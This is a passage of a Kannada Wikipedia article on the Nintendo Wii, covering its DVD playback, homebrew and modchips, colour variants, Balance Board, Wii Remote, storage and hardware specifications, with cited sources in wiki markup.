ಮಾದರಿಗೆ ಒಂದು ಅಭಿವೃದ್ಧಿಯ ಹಾಗೆ ಲಭ್ಯವಾಗುವುದ್ದಿಲ್ಲ.<ref name="DVD-Wii 2007">{{cite web|url=http://www.gamedaily.com/articles/features/confirmed-nintendo-to-release-dvd-enabled-wii-in-2007/69689/?biz=1|publisher=GameDaily BIZ|title=Confirmed: Nintendo to Release DVD-Enabled Wii in 2007|first=James|last=Brightman|accessdate=2006-11-14|date=2006-11-13|archive-date=2010-09-01|archive-url=https://web.archive.org/web/20100901065337/http://www.gamedaily.com/articles/features/confirmed-nintendo-to-release-dvd-enabled-wii-in-2007/69689/?biz=1|url-status=dead}}</ref> ಈ ಸಮರ್ಥನೆಯ ಹೊರತಾಗಿ, ಮೂಲ ಮಾರ್ಪಡಿಸದ ವೈ ಘಟಕಗಳಿಗೆ DVD ಪ್ಲೇಬ್ಯಾಕ್‌ ಸೇರಿಸಲು ಮೂರನೆ ವ್ಯಕ್ತಿಗಳು [[ವೈ ಹೋಂಬ್ರೆವ್]]‌ ಅನ್ನು ಬಳಸುತ್ತಾರೆ.<ref name="homebrewdvd">{{cite web|url= http://hackmii.com/2008/08/libdi-and-the-dvdx-installer/|title=libdi and the DVDX installer.|publisher=HackMii|date=2008-08-12| accessdate=2008-10-05}}</ref> ನಿಂಟೆಂಡೊ ಉದ್ದೇಶಿಸಿದ ಚಟುವಟಿಕೆಗಳ ಬದಲಾಗಿ ಇತರೆ ಚಟುವಟಿಕೆಗಳಿಗಾಗಿ ಕನ್ಸೊಲ್‌‌ನನ್ನು ಬಳಸಲು ಒಬ್ಬ ಮಾಲೀಕನಿಗೆ ಸಾಧ್ಯವಾಗಿಸಲು ವೈಯನ್ನು [[ಹ್ಯಾಕ್‌]] ಮಾಡಲು ಸಾಧ್ಯ.<ref>{{cite web|url=http://www.maxconsole.net/?mode=news&newsid=21266|title=The 'unhackable' Wii gets hacked, '30 wire' D2C mod on its way|publisher=MaxConsole|date=2007-09-28|accessdate=2007-11-08}}</ref> ವೈಗೆ [[ಮಾಡ್‌ಚಿಪ್‌]]ಗಳ [[ಹಲವು ಬ್ರಾಂಡ್‌‌ಗಳು]] ಲಭ್ಯವಾಗಿವೆ.ಆದರೂ ಇದು ಬಿಡುಗಡೆಯಾಗುವ ಮೊದಲು, ನಿಂಟೆಂಡೊ ಕನ್ಸೊಲ್‌ನನ್ನು ಮತ್ತು ವೈ ರಿಮೊಟ್‌ನನ್ನು ಬಿಳಿ, ಬೆಳ್ಳಿ, ನಿಂಬೆ ಹಸಿರು, ಮತ್ತು ಕೆಂಪು ಬಣ್ಣಗಳಲ್ಲಿ ಪ್ರದರ್ಶಿಸಿತ್ತು,<ref name="Rev colors console">{{cite web|url=http://media.revolutionreport.com/image/revofficial%204.jpg|publisher=Revolution Report|title=Wii Colors|accessdate=2006-07-15|archive-date=2006-02-16|archive-url=https://web.archive.org/web/20060216203927/http://media.revolutionreport.com/image/revofficial%204.jpg|url-status=dead}}</ref><ref name="Rev colors control">{{cite web|url=http://news.cnet.com/i/ne/p/2005/0916nintendopic4_500x375.jpg|title=Wii Remote Colors|publisher=news.com|accessdate=2006-07-15|archive-date=2008-05-28|archive-url=https://web.archive.org/web/20080528104908/http://news.cnet.com/i/ne/p/2005/0916nintendopic4_500x375.jpg|url-status=dead}}</ref> ಅದರ ಮಾರಾಟಗಳ ಮೊದಲ ಎರಡುವರೆ ವರ್ಷ ಕೇವಲ ಬಿಳಿಯ ಬಣ್ಣದಲ್ಲಿ ಲಭ್ಯವಾಗಿತ್ತು. ಆಗಸ್ಟ್‌ 2009ರಲ್ಲಿ ಕಪ್ಪು ಬಣ್ಣದ ಸಿಸ್ಟಮ್‌ ಅನ್ನು ಜಪಾನ್‌ನಲ್ಲಿ ಲಭ್ಯಿಸುವ ಹಾಗೆ ಮಾಡಿತು,<ref>{{cite web|title=Nintendo Selling Black Wii in Japan This Summer|url=http://kotaku.com/5278279/nintendo-selling-black-wii-in-japan-this-summer}}</ref><ref>{{cite web|url=http://www.nintendo.co.jp/wii/console/index.html|language=japanese|title=Wii| publisher=Nintendo|date=2009-08-01|accessdate=2009-08-10}}</ref> ಮತ್ತು ನವೆಂಬರ್‌ 2009ರಲ್ಲಿ ಯುರೋಪಿನಲ್ಲಿ.<ref>{{cite web|url=http://www.nintendo.co.uk/NOE/en_GB/news/2009/limited_edition_black_wii_bundle_announced_for_europe_including_wii_sports_resort_and_wii_motionplus_14833.html|title=Limited Edition Black Wii bundle announced for Europe, including Wii Sports Resort and Wii MotionPlus|publisher=Nintendo|date=2009-10-20| accessdate=2009-10-20}}</ref> ಕಪ್ಪು ವೈ ಸಿಸ್ಟಮ್‌ ವೇ 9, 2010ರಂದು ಉತ್ತರ ಅಮೆರಿಕದಲ್ಲಿ ಲಭ್ಯವಾಯಿತು.<ref name="NewWiiBundle">{{Cite press release | title =Nintendo to Include Wii Sports Resort, Wii MotionPlus with All New Wii Systems | publisher = Nintendo Of America| date =2010-05-03 | url =http://www.businesswire.com/portal/site/home/permalink/?ndmViewId=news_view&newsId=20100503005799&newsLang=en | accessdate =2010-05-03 }}</ref> ಜುಲೈ 11, 2007ರಂದು, ನಿಂಟೆಂಡೊ [[ವೈ ಸಮತೋಲನ ಬೋರ್ಡ್‌‌]]ನನ್ನು [[E3 2007]]ರಲ್ಲಿ ''[[ವೈ ಫಿಟ್‌]]'' ಜೊತೆ ಬಹಿರಂಗ ಪಡಿಸಿತು.<ref>{{cite web|url=http://www.consolewatcher.com/2007/07/stay-fit-with-nintendo-wii-balance-board/|title=Stay fit with Wii Balance Board|date=2007-11-12|publisher=Console Watcher}}</ref> ಅದು ವೈಗೆ ಒಂದು ತಂತಿರಹಿತ [[ಸಮತೋಲನ ಬೋರ್ಡ್‌]] ಪರಿಕರವಾಗಿದೆ, ಅದು ಬಳಕೆದಾರನ [[ಸಮೋತಲನದ ಕೇಂದ್ರ]]ವನ್ನು ಅಳೆಯಲು ಅನೇಕ ಒತ್ತಡ ಸವೇಂದಕಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. [[ನಮ್ಕೊ ಬಂದೈ]]ಒಂದು ಮ್ಯಾಟ್‌ ನಿಯಂತ್ರಕವನ್ನು ತಯಾರಿಸಿತು, ಸಮೋತಲನ ಬೋರ್ಡ್‌ಗೆ ಒಂದು ಸರಳವಾದ ಕಡಿಮೆ ಕೃತಕವಾಗಿಸಿದ ಪ್ರತಿಸ್ಪರ್ಧಿ, ಅದು ಗೆಮ್‌ಕ್ಯೂಬ್ ನಿಯಂತ್ರಕ ಪೋರ್ಟ್‌ಗೆ ಸಂಪರ್ಕಿಸುತ್ತದೆ. ===ವೈ ರಿಮೊಟ್=== {{Main|Wii Remote}} [[File:Wiimote-lite2.JPG|thumb|ಎಡದಿಂದ ಬಲಕ್ಕೆ:ನಿಂಟೆಂಡೊ ಡಿಎಸ್ ಲೈಟ್,ನಂಚಕ್,ವೈ ರಿಮೋಟ್ ಮತ್ತು ಸ್ಟ್ರಾಪ್,]] ವೈ ರಿಮೊಟ್‌ ಕನ್ಸೊಲ್‌ಗೆ ಪ್ರಾಥಮಿಕ [[ನಿಯಂತ್ರಕ]]ವಾಗಿದೆ. [[3D]] ಪ್ರದೇಶದಲ್ಲಿ ಅದರ ಸ್ಥಾನವನ್ನು ಗ್ರಹಿಸಲು [[ಸಂವೇದಕ ಪಟ್ಟಿ]]ಯ ಒಳಗೆ [[LED]]ಗಳಲ್ಲಿ ಗುರುತಿಸಿದಾಗ ಇದು ಹುದುಗಿದ [[ವೇಗೋತ್ಕರ್ಷಕ ಮಾಪಕ]]ಗಳು ಮತ್ತು [[ಇನ್‌ಫ್ರಾರೆಡ್]] ಪತ್ತೆಹಚ್ಚುಚುವಿಕೆಯ ಒಂದು ಸಂಯೋಜನೆಯನ್ನು ಬಳಸುತ್ತದೆ. ಈ ವಿನ್ಯಾಸವು ಬಳಕೆದಾರರಿಗೆ ಆಟವನ್ನು ನಿಯಂತ್ರಿಸಲು ದೈಹಿಕ ಸನ್ನೆಗಳು ಹಾಗೂ ಸಂಪ್ರಾದಾಯಿಕ ಬಟನ್ ಒತ್ತುವುದನ್ನು ಬಳಸಲು ಅವಕಾಶಿಸುತ್ತದೆ. ನಿಯಂತ್ರಕವು [[ಬ್ಲೂಟೂಥ್]] ಬಳಸಿ ಕನ್ಸೊಲ್‌ನನ್ನು ಸಂಪರ್ಕಿಸುತ್ತದೆ ಮತ್ತು [[ಅದರುವ ಸದ್ದು]] ಹಾಗೂ ಒಂದು ಅಂತರಿಕ ಸ್ಪೀಕರ್‌ ಅನ್ನು ಹೊಂದಿದೆ. ವೈ ರಿಮೊಟ್‌ ವಿಸ್ತರಣ ಸಾಧನಗಳಿಗೆ ನಿಯಂತ್ರಕದ ತಳದಲ್ಲಿನ ಒಂದು [[ಒಡೆತನದ]] ಪೊರ್ಟ್‌ ಮೂಲಕ ಸಂಪರ್ಕಿಸುತ್ತದೆ. ಈ ಉಪಕರಣವು ವೈ ರಿಟೇಲ್‌ ಪ್ಯಾಕೇಜ್‌ನ ಜೊತೆ ಬರುತ್ತದೆ ಇದನ್ನು [[ನನ್‌ಚುಕ್]]‌ ಯುನಿಟ್‌ ಎಂದು ಕರೆಯುತ್ತಾರೆ. ಇದು ಅಕ್ಸೆಲೊಮೀಟರ್‌ ಮತ್ತು ಸಾಂಪ್ರದಾಯಿಕ ಎರಡು ಬಟನ್‌ಗಳಿರುವ [[ಅನಾಲಾಗ್‌ ಸ್ಟಿಕ್]] ಅನ್ನು ಹೊಂದಿರುತ್ತದೆ.‌ ಹೆಚ್ಚುವರಿಯಾಗಿ, ಆಟಗಾರರು ಉದ್ಧೇಶಪೂರ್ವಕವಾಗಲ್ಲದೆ ವೈ ರಿಮೊಟ್‌ನನ್ನು ಬಿಳಿಸುವುದು ಅಥವಾ ಎಸೆಯುವುದನ್ನು ತಡೆಯಲು ಒಂದು ಸೇರಿಸಬಲ್ಲ [[ಮಣಿಕಟ್ಟಿನ ಪಟ್ಟಿ]]ಯನ್ನು ಉಪಯೋಗಿಸಲು ಸಾಧ್ಯ. ಹೆಚ್ಚಿನ ಹಿಡಿತ ಮತ್ತು ರಕ್ಷಣೆಯನ್ನು ಒದಗಿಸಲು ನಿಂಟೆಂಡೊ ಒಂದು ಬಲವಾದ ಪಟ್ಟಿ ಮತ್ತು [[ವೈ ರಿಮೊಟ್‌ ಜಾಕೆ]]ಟ್‌ ನೀಡುತ್ತದೆ. [[ವೈ ಮೊಶನ್‌ಪ್ಲಸ್]] ಅನ್ನು , ವೇಗೋತ್ಕರ್ಷದ ಕೊರತೆಗಳನ್ನು ನೀಗಿಸಲು ವೈ ರಿಮೊಟ್‌ ಮತ್ತು ಸಂವೇದಕ ಪಟ್ಟಿಯ ಸಾಮರ್ಥ್ಯಗಳಿಗೆ ಸಂಪರ್ಕಿಸುವ ಒಂದು ಸಾಧನ ಎಂದು ಘೋಷಿಸಲಾಗಿದೆ, ಮತ್ತು ಲಬ್ಯವಿರುವ ಕ್ರಿಯೆಗಳು ಆ ಕ್ಷಣದಲ್ಲೇ ತೆರೆಯ ಮೇಲೆ ಮೂಡುತ್ತವೆ. ಇದಕ್ಕೆ ಯಾವುದೇ ಸಮಯದ ಅಂತರ ಇರಲಾರದು. ನಿಂಟೆಂಡೊ [[ವೈ ಸತ್ವ ಸಂವೇದಕ]]ವನ್ನು ಸಹ ಬಹಿರಂಗಪಡಿಸಿತು, ಅದು ವೈ ರಿಮೊಟ್ ಮೂಲಕ ಸಂಪರ್ಕಿಸುವ ಒಂದು ಬೆರಳ ತುದಿಯ [[ಪ್ಲಸ್ ಅಕ್ಸಿಮೀಟರ್]] ಸಂವೇದಕ. ===ಮೆಮೊರಿ ಶೇಖರಣೆ=== ವೈ ಕನ್ಸೊಲ್ ಅಂತರಿಕ [[ಫ್ಲಾಶ್ ಮೆಮೊರಿ]]ಯ 512 [[ಮೆಗಬೈಟ್‌‌]]ಗಳನ್ನು ಹೊಂದಿದೆ ಮತ್ತು ಭಾಹ್ಯ ಶೇಖರಣೆಗಾಗಿ ಒಂದು SD ಕಾರ್ಡ್ ಸ್ಲಾಟ್‌ ಅನ್ನು ಮುಖ್ಯಭಾಗವಾಗಿ ಹೊಂದಿದೆ. SD ಕಾರ್ಡ್‌ನ್ನು ಫೋಟೊಗಳನ್ನು ಅಪ್‌ಲೋಡ್ ಮಾಡಲು ಉಪಯೋಗಿಸಲು ಸಾಧ್ಯ ಹಾಗೆಯೇ [[ಉಳಿಸಿದ ಆಟ]]ದ ಡಾಟ ಮತ್ತು ಡೌನ್ ಲೋಡ್ ಮಾಡಿದ [[ವರ್ಚುವಲ್ ಕನ್ಸೊಲ್]] ಮತ್ತು [[ವೈಮೆರ್]] ಆಟಗಳನ್ನು ರದ್ದುಮಾಡಲು ಬಳಸಲು ಸಹ ಸಾಧ್ಯ. ಆಟದ ಉಳಿಸುವಿಕೆಗಳನ್ನು ವರ್ಗಾಯಿಸಲು SD ಸ್ಲಾಟ್‌ ಅನ್ನು ಬಳಸಲು, ಒಂದು [[ಅಪ್‌ಡೇಟ್‌]] ಅನ್ನು ಪ್ರತಿಷ್ಠಾಪಿಸಬೇಕು. ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕದ ಮೂಲಕ ವೈ ಆಯ್ಕೆಗಳ ಮೆನ್ಯುಯಿಂದ ಅಥವಾ ನವೀಕರಣವನ್ನು ಹೊಂದಿದ ಒಂದು ಗೆಮ್‌ ಡಿಸ್ಕ್‌ನ್ನು ಒಳಹಾಕುವುದರ ಮೂಲಕ ಒಂದು ಪ್ರತಿಷ್ಠಾಪನೆಯನ್ನು ಶುರುಮಾಡಲು ಆಗುತ್ತದೆ. ಮೂಲದ ಘಟಕದ ಹೊರತಾಗಿ ಯಾವುದೇ ವ್ಯವಸ್ಥೆಗೆ ವರ್ಚ್ಯುಯಲ್ ಕನ್ಸೊಲ್ ಡಾಟವನ್ನು ಪುನಃಸ್ಥಾಪಿಸಲು ಆಗುವುದ್ದಿಲ್ಲ.<ref name="Nintendo Forums: SD CARD ISSUE (from one system to another)">{{cite web|url= http://www.nintendo.com/consumer/systems/wii/en_na/data.jsp#SDcopy|title=Nintendo Customer Service: Copy Data to an SD Card| publisher=Nintendo |accessdate=2008-05-14}}</ref> ಶೇಖರಿಸಿದ [[MP3]] ಫೈಲ್‌ಗಳಿಂದ ಗ್ರಾಹಕೀಯಗೊಳಿಸಿದ ಆಟದಲ್ಲಿನ ಸಂಗೀತವನ್ನು ಸೃಷ್ಟಿಸಲು ಒಂದು SD ಕಾರ್ಡ್‌ನ್ನು ಸಹ ಬಳಸಲು ಸಾಧ್ಯ, ''[[ಎಕ್ಸೈಟ್ ಟ್ರಕ್‌]]'' , ಹಾಗೆಯೇ [[ಫೋಟೊ ಚಾನೆಲ್‌]]ನ ಸ್ಲೈಡ್ ಶೋ ಗುಣಲಕ್ಷಣಕ್ಕಾಗಿ ಸಂಗೀತದಲ್ಲಿ ಮೊದಲು ತೋರಿಸಿದ ಹಾಗೆ. ಫೋಟೊ ಚಾನೆಲ್‌ನ 1.1 ಆವೃತ್ತಿಯು [[AAC]] ಬೆಂಬಲದ ಪರವಾಗಿ MP3 ಪ್ಲೇಬಾಕ್‌ನ್ನು ತೆಗೆದು ಹಾಕಿದೆ. ವೈ ಮಾಲೀಕರು ವೈವೇರ್ ಮತ್ತು ವರ್ಚ್ಯುಯಲ್ ಕನ್ಸೊಲ್‌ ಅಂಶವನ್ನು ನೇರವಾಗಿ ಒಂದು SD ಕಾರ್ಡ್‌ ಮೇಲೆ ಡೌನ್‌ಲೋಡ್ ಮಾಡುವ ಆಯ್ಕೆಯನ್ನು ಹೊಂದಿರುತ್ತಾರೆ ಎಂದುಆಕ್ಟೋಬರ್ 2008ರಲ್ಲಿ ನಿಂಟೆಂಡೊ ಫಾಲ್ ಪತ್ರಿಕಾ ಗೋಷ್ಠಿಯಲ್ಲಿ, ಸಟೊರು ಇವಟಾ ಘೋಷಿಸಿದರು. ಈ ಆಯ್ಕೆಯು "ಕನ್ಸೊಲ್‌ನ ಸಾಕಷ್ಟಿಲ್ಲದ ಮೆಮೊರಿ ಶೇಖರಣೆಯನ್ನು ಸಂಭೋಧಿಸಲು" ಒಂದು ಪರ್ಯಾಯವನ್ನು ಸೂಚಿಸುತ್ತದೆ. ಕನ್ಸೊಲ್ 2009ರ ವಸಂತ ಋತುವಿನಲ್ಲಿ ಜಪಾನ್‌ನಲ್ಲಿ ಲಭ್ಯವಾಗುತ್ತದೆ ಘೋಷಣೆಯು ಹೇಳಿತು.<ref>{{cite web|url =http://kotaku.com/5057877/save-wii-games-direct-to-sd-card-starting-spring-2009|title=2008 Nintendo Fall Press Conference: Save Wii Games Direct To SD Card (Starting Spring 2009)|publisher=Kotaku|accessdate=2008-10-06}}</ref> ನಿನ್ಟೇನ್ಡೊ ಅಪ್‌ಡೇಟ್ ಅನ್ನು ಮಾರ್ಚ್ 25, 2009ರಂದು ಲಭ್ಯವಾಗುವ ಹಾಗೆ ಮಾಡಿತು. ಮೊದಲು ಘೋಷಿಸಿದ ಕಾರ್ಯಾನುಗುಣತೆಗೆ ಹೆಚ್ಚುವರಿಯಾಗಿ , ಇದು ವರ್ಚ್ಯುಯಲ್ ಕನ್ಸೊಲ್ ಮತ್ತು ವೈವೇರ್ ಆಟಗಳನ್ನು ನೇರವಾಗಿ SD ಕಾರ್ಡ್‌ನಿಂದ ಆಟಗಾರ ಲೋಡ್‌ ಮಾಡಿಕೊಳ್ಳಲು ಆಸ್ಪದ ಕೊಡುತ್ತದೆ. ಅಪ್‌ಡೇಟ್ [[SDHC]] ಕಾರ್ಡ್‌ಗಳ ಬಳಕೆಯನ್ನು ಅನುಮತಿಸುತ್ತದೆ, SD ಕಾರ್ಡ್‌ ಗಾತ್ರವನ್ನು 2&nbsp;GBಯಿಂದ 32&nbsp;GBವರೆಗೆ ಮಿತಿಯನ್ನು ಹೆಚ್ಚಿಸುವುದು.<ref>{{cite news|last=Thorsen|first=Tor|url=http://gdc.gamespot.com/story/6206693/?tag=topslot;img;3|title=New DS Zelda announced, Wii ships 50 million|work=GDC 2009|publisher=GameSpot|date=2009-03-25|accessdate= 2009-04-05}}{{dead link|date=March 2010}}</ref> ===ತಾಂತ್ರಿಕ ನಿರ್ದಿಷ್ಟತೆಗಳು=== ನೆನ್ಟೆನ್ಡೊ ವೈ ವಿಧಾನಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಕೆಲವು ತಾಂತ್ರಿಕ ವಿವರಗಳನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದೆ, ಆದರೆ ಕೆಲವು ಪ್ರಮುಖ ಅಂಶಗಳು ವಾರ್ತಾಪತ್ರಿಕೆಯ ಮೂಲಕ ಸೋರಿಹೋಗಿದೆ. ಈ ವರದಿಗಳಲ್ಲಿ ಯಾವುದು ಅಧಿಕೃತವಾಗಿ ಧೃಡಪಡಸಿಲಿಲ್ಲವಾದರೂ, ಕನ್ಸೊಲ್ [[ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್]] ವಿನ್ಯಾಸದ ಒಂದು ವಿಸ್ತರಣೆ ಅಥವಾ ಪ್ರಗತಿಯಾಗಿದೆ ಅವುಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಸೂಚಿಸಿದವು. ಹೆಚ್ಚು ನಿರ್ದಿಷ್ಟವಾಗಿ, ವರದಿಯಾದ ಸಮೀಕ್ಷೆಗಳು ಹೀಗೆ ಹೇಳುತ್ತವೆ ವೈಯು ಸುಮಾರು 1.5 ರಿಂದ 2ರಷ್ಟು ಬಾರಿ ಅದರ ಪೂರ್ವಾಧಿಕಾರಿಯಂತೆ ಶಕ್ತಿಶಾಲಿಯಾಗಿದೆ.<ref name="Wii: The Total Story">{{cite web|url=http://wii.ign.com/launchguide/hardware1.html|title=Wii: The Total Story|accessdate=2006-11-20|publisher=IGN|archive-date=2006-12-18|archive-url=https://web.archive.org/web/20061218073811/http://wii.ign.com/launchguide/hardware1.html|url-status=dead}}</ref><ref name="IGN Wii FAQs">{{cite web|last=Casamassina|first=Matt|url=http://wii.ign.com/articles/733/733464p7.html|title=IGN's Nintendo Wii FAQ|publisher=IGN|date=2006-09-19|accessdate=2006-11-11|archive-date=2012-02-10|archive-url=https://web.archive.org/web/20120210075838/http://wii.ign.com/articles/733/733464p7.html|url-status=dead}}</ref> ಬಹಿರಂಗಗೊಂಡ ನಿರ್ದಿಷ್ಟ ವಿವರಗಳ ಆಧಾರದ ಮೇಲೆ, ವೈಯು ಅದರ ಪೀಳಿಗೆಯಲ್ಲಿ ಪ್ರಮುಖ ಮನೆ ಕನ್ಸೊಲ್‌ಗಳ ಕನಿಷ್ಟ ಶಕ್ತಿಶಾಲಿಯಾಗಿದೆ. {{col-begin}} {{col-2}} '''ಸಂಸ್ಕಾರಕಗಳು:''' *[[CPU]]: [["ಬ್ರಾಡ್‌ ವೇ"]] ಸಂಸ್ಕಾರಕ ಆಧಾರಿತ- [[ಪವರ್‌PC]], ಒಂದು [[90&nbsp;nm]] [[SOI]] [[CMOS]] ಪ್ರೊಸೆಸ್‌ನೊಂದಿಗೆ ಮಾಡಲಾಗಿದೆ, ವರದಿಯಾದಂತೆ<sup>†</sup> ಸುಮಾರು 729 [[MHz]]ನಲ್ಲಿ ದೊರೆಯುತ್ತದೆ.<ref name="IGNTech">{{cite web|title=IGN: Revolution's Horsepower|date=2006-03-29|publisher=IGN|accessdate=2006-12-23|url=http://wii.ign.com/articles/699/699118p1.html|archive-date=2011-05-22|archive-url=https://web.archive.org/web/20110522074334/http://wii.ign.com/articles/699/699118p1.html|url-status=dead}}</ref> *[[GPU]]: [[ATI]] [["ಹಾಲಿವುಡ್" GPU]] ಒಂದು 90&nbsp;nm CMOS ಪ್ರತಿಕ್ರಿಯೆಯೊಂದಿಗೆ ಮಾಡಲಾಗಿದೆ,<ref name="hard_japan">{{ja icon}}{{cite web|url=http://www.nintendo.co.jp/n10/e3_2006/wii/index.html|title=Wiiの概要 (Wii本体)|work=E3 2006|publisher=Nintendo|accessdate=2006-05-22|archive-date=2006-06-15|archive-url=https://web.archive.org/web/20060615131048/http://www.nintendo.co.jp/n10/e3_2006/wii/index.html|url-status=dead}}</ref> ಲಭ್ಯ ಮಾಹಿತಿಗಳ ಪ್ರಕಾರ<sup>†</sup> 243 [[MHz]]ನಲ್ಲಿ ದೊರೆಯುತ್ತದೆ.<ref name="IGNTech" /> '''ಸ್ಮೃತಿಕೋಶ:''' *88 [[MB]] [[ಮುಖ್ಯ ಸ್ಮೃತಿಕೋಶ]] (24&nbsp;MB "ಅಂತರಿಕ" [[1T-SRAM]] ಗ್ರಾಫಿಕ್ಸ್‌ ಪ್ಯಾಕೇಜ್‌ನ ಜೊತೆ ಲಭ್ಯ, 64&nbsp;MB "ಬಾಹ್ಯ" [[GDDR3]] SDRAM)<ref name="TechOnWii">{{cite web|title=PS3 VS Wii, Comparisons of Core LSI Chip Areas|date= 2006-11-27| publisher=TechOn!|accessdate=2006-12-15|url=http://techon.nikkeibp.co.jp/english/NEWS_EN/20061127/124495/}}</ref> *3&nbsp;MB ಹುದುಗಿದ GPU [[ವಿನ್ಯಾಸ ಮೆಮೊರಿ]] ಮತ್ತು [[ಫ್ರೆಮ್‌ಬಫರ್]]. '''ಪೊರ್ಟ್‌ಗಳು ಮತ್ತು ಅಪ್ರಧಾನ ಸಾಮರ್ಥ್ಯಗಳು:''' * 16 ವೈ ರಿಮೊಟ್ ನಿಯಂತ್ರಕಗಳ ವರೆಗೆ (ಗುಣಮಟ್ಟದ ಕ್ರಮದಲ್ಲಿ 10, ಒಂದು ಟೈಮ್ ಕ್ರಮದಲ್ಲಿ 6 ,<ref>ನಿಂಟೆಂಡೊ ವೈ ಆಪರೇಷನ್ಸ್ ಮ್ಯಾನ್ಯುವಲ್ -ಸಿಸ್ಟಮ್ ಸೆಟ್‌ಅಪ್, ಪುಟ 28.</ref> [[ಬ್ಲೂಟುತ್]] ಮೂಲಕ ತಂತಿ ರಹಿತವಾಗಿ ಸಂಪರ್ಕಗೊಂಡಿರುತ್ತವೆ.) *ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್ ನಿಯಂತ್ರಕ ಪೊರ್ಟ್‌ಗಳು (4) *ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್ ಮೆಮೊರಿ ಕಾರ್ಡ್ ಸ್ಲಾಟ್‌ಗಳು (2) *[[SD]] ಮೆಮೊರಿ ಕಾರ್ಡ್ ಸ್ಲಾಟ್‌ ( ಸಿಸ್ಟಮ್ ಮೆನು 4.0ರಂತೆ [[SDHC]] ಕಾರ್ಡ್‌ಗಳನ್ನು ಬೆಂಬಲಿಸುತ್ತದೆ) *[[USB]] 2.0 ಪೊರ್ಟ್‌ಗಳು (2) *ಸಂವೇದಕ ಪಟ್ಟಿ ಪವರ್ ಪೊರ್ಟ್‌ಗಳು * ವೈ ರಿಮೊಟ್‌ನ ಕೆಳಗೆ ಬಿಡಿಭಾಗ/ಪರಿಕರದ ಪೊರ್ಟ್ * ಮೆಸೆಜ್‌ ಬೋರ್ಡ್‌ನಲ್ಲಿರುವ ಐಚ್ಚಿಕ USB ಕೀ ಬೋರ್ಡ್‌ ಇನ್‌ಪುಟ್, ವೈ ಶಾಪ್‌ ಚಾನೆಲ್‌ ಮತ್ತು ಇಂಟರ್‌ನೆಟ್‌ ಚಾನೆಲ್‌‍ (‌3.0 ಮತ್ತು 3.1 ಫರ್ಮ್‌ವೇರ್‌ ಅಪ್‌ಡೇಟ್‌‍)<ref>{{cite web|url=http://www.nintendo.com/wii/what/faq#section8_sub7|title=Wii&nbsp;— Frequently Asked Questions|accessdate=2008-03-31|publisher=Nintendo|archive-date=2010-05-02|archive-url=https://web.archive.org/web/20100502011006/http://www.nintendo.com/wii/what/faq#section8_sub7|url-status=dead}}</ref> * [[ಮಿಟ್ಸುಮಿ]] DWM-W004 WiFi 802.11b/g ವೈರ್‌ಲೆಸ್‌ ಮೊಡ್ಯೂಲ್‌ <ref name="IGN Wii FAQ">{{cite web|url=http://wii.ign.com/articles/733/733464p8.html|title=IGN's Nintendo Wii FAQ|accessdate=2007-01-25|last=Casamassina|first=Matt|authorlink=Matt Casamassina|date=2006-09-20|publisher=IGN|archive-date=2010-05-02|archive-url=https://web.archive.org/web/20100502055212/http://wii.ign.com/articles/733/733464p8.html|url-status=dead}}</ref> * ಐಚ್ಚಿಕ [[USB]] 2.0 ಮತ್ತು ಎಥರ್‌ನೆಟ್‌ [[LAN]] ಅಡಾಪ್ಟರ್‌‍ * 'AV ಮಲ್ಟಿ ಔಟ್‌‍' ಪೋರ್ಟ್‌‍ (ಬಲಭಾಗದಲ್ಲಿಯ ವಿಡಿಯೋ ಭಾಗವನ್ನು ನೋಡಿ) '''ಹುದುಗಿದ ಅಂಶ ಅರ್ಹತೆ ವ್ಯವಸ್ಥೆಗಳು:''' *[[BBFC]], [[CERO]], [[ESRB]], [[OFLC]], [[OFLC (NZ)]], [[PEGI]], [[USK]] {{col-2}} '''ಶೇಖರಣೆ''' *512&nbsp;MB ಹುದುಗಿದ NAND [[ಫ್ಲಾಷ್ ಮೆಮೊರಿ]] *[[SD]] ಮತ್ತು [[SDHC]] ಕಾರ್ಡ್ ಮೆಮೊರಿಯ ಮೂಲಕ ವಿಸ್ತರಿಸಿದ ಶೇಖರಣೆ (32&nbsp;GBವರೆಗೆ) *ನಿನ್ಟೇನ್ಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್ ಮೆಮೊರಿ ಕಾರ್ಡ್ (ಗೆಮ್‌ಕ್ಯೂಬ್ ಆಟ ಉಳಿಸಲು ಅಗತ್ಯ) [[File:broadwaycpu.JPG|thumb|ಐಬಿಎಮ್‌ನ ವೈ "ಬ್ರಾಡ್‌ವೇ" ಸಿಪಿಯು]] [[File:Hollywood gpu.png|thumb|ಎಟಿಐನ ವೈ "ಹಾಲಿವುಡ್" ಜಿಪಿಯು]] * ಡಿಸ್ಕ್‌ ಡ್ರೈವ್‌ ಜಾಗವು 8 ಸೆಂ.ಮಿ ನಿಂಟೆಂಡೊ ಗೇಮ್‌ಕ್ಯೂಬ್‌ ಗೇಮ್‌ಡಿಸ್ಕ್‌ ಮತ್ತು 12ಸೆಂ.ಮಿ ವೈ ಆಪ್ಟಿಕಲ್‌ ಡಿಸ್ಕ್‌ ಹೊಂದಿರುತ್ತದೆ. * ಮ್ಯಾಕ್ರೊನಿಕ್ಸ್‌ನಿಂದ<ref name="Macronix">{{cite web|url=http://wii.ign.com/articles/719/719299p1.html|title=Macronix Supplies Wii|accessdate=2006-07-18|last=Casamassina|first=Matt|authorlink=Matt Casamassina|date=2006-07-17|publisher=IGN|archive-date=2011-05-22|archive-url=https://web.archive.org/web/20110522075927/http://wii.ign.com/articles/719/719299p1.html|url-status=dead}}</ref> [[ಮಾಸ್ಕ್ ROM]] '''ವಿಡಿಯೋ''' * ಸಾಮಾನ್ಯ ಎವಿ ಮಲ್ಟಿ ಔಟ್‌ ಪುಟ್‌ ಪೋರ್ಟ್‌ [[ಕಂಪೊಸಿಟ್‌ ವಿಡಿಯೋ]], [[ಕಂಪೊನೆಂಟ್‌ ವಿಡಿಯೋ]], ಎಸ್‌-ವಿಡಿಯೊ, ಬೆಂಬಲಿಸುತ್ತದೆ. ([[NTSC]] ಮಾತ್ರ), RGB [[SCART]]<ref>{{cite web|url=http://www.nintendo.co.uk/NOE/en_GB/systems/accessories_1243.html|title=Nintendo UK: Wii 